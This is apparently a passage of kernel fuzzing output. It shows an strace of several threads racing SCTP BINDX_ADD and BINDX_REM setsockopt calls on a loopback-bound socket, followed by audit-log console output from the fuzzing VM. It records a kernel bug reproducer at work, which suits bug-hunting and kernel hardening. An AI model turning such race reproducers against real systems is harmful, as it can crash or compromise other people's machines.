[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[+] Connected successfully.
[+] Done.
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5848] write(1, "[+] Connected successfully.\n[+] Done.\n", 38 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5848] <... write resumed>)        = 38
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5848] exit_group(0 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5848] <... exit_group resumed>)   = ?
[pid  5849] +++ exited with 0 +++
[pid  5851] +++ exited with 0 +++
[pid  5850] +++ exited with 0 +++
[pid  5852] +++ exited with 0 +++
+++ exited with 0 +++
[   76.587273][   T67] cfg80211: failed to load regulatory.db
 TestError:]

map[TruncatedConsoleOutput:[   60.398117][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   60.398176][   T33] audit: type=1400 audit(1788282902.486:200): avc:  denied  { transition } for  pid=5826 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399807][   T33] audit: type=1400 audit(1788282902.486:201): avc:  denied  { noatsecure } for  pid=5826 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399826][   T33] audit: type=1400 audit(1788282902.486:202): avc:  denied  { rlimitinh } for  pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399839][   T33] audit: type=1400 audit(1788282902.486:203): avc:  denied  { siginh } for  pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:20457' (ED25519) to the list of known hosts.
[   62.828209][   T33] audit: type=1400 audit(1788282904.916:204): avc:  denied  { create } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834958][   T33] audit: type=1400 audit(1788282904.916:205): avc:  denied  { setopt } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834980][   T33] audit: type=1400 audit(1788282904.916:206): avc:  denied  { bind } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
